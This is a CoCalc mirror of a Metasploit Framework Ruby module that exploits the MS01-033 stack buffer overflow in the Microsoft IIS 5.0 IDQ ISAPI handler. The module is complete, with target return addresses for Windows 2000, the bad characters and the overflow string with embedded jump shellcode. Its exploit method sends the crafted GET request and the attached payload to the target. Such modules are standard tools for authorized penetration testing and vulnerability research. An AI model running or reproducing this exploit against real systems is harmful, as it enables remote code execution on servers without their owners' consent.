CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/ms01_033_idq.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'MS01-033 Microsoft IIS 5.0 IDQ Path Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in the IDQ ISAPI handler for
16
Microsoft Index Server.
17
},
18
'Author' => [ 'MC' ],
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'CVE', '2001-0500'],
23
[ 'OSVDB', '568'],
24
[ 'MSB', 'MS01-033'],
25
[ 'BID', '2880'],
26
],
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'thread',
30
},
31
32
'Privileged' => false,
33
'Payload' =>
34
{
35
'Space' => 800,
36
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
37
'StackAdjustment' => -3500,
38
},
39
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
[ 'Windows 2000 Pro English SP0', { 'Ret' => '0x6e8f3e24' } ],
44
[ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
45
],
46
'DisclosureDate' => '2001-06-18',
47
'DefaultTarget' => 0))
48
49
register_options([Opt::RPORT(80)])
50
end
51
52
def exploit
53
connect
54
55
sploit = rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
56
sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]
57
sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="
58
sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)
59
60
uri = '/' + sploit + payload.encoded
61
62
res = "GET #{uri}\r\n\r\n"
63
64
print_status("Trying target #{target.name}...")
65
66
sock.put(res)
67
68
handler
69
disconnect
70
end
71
end
72
73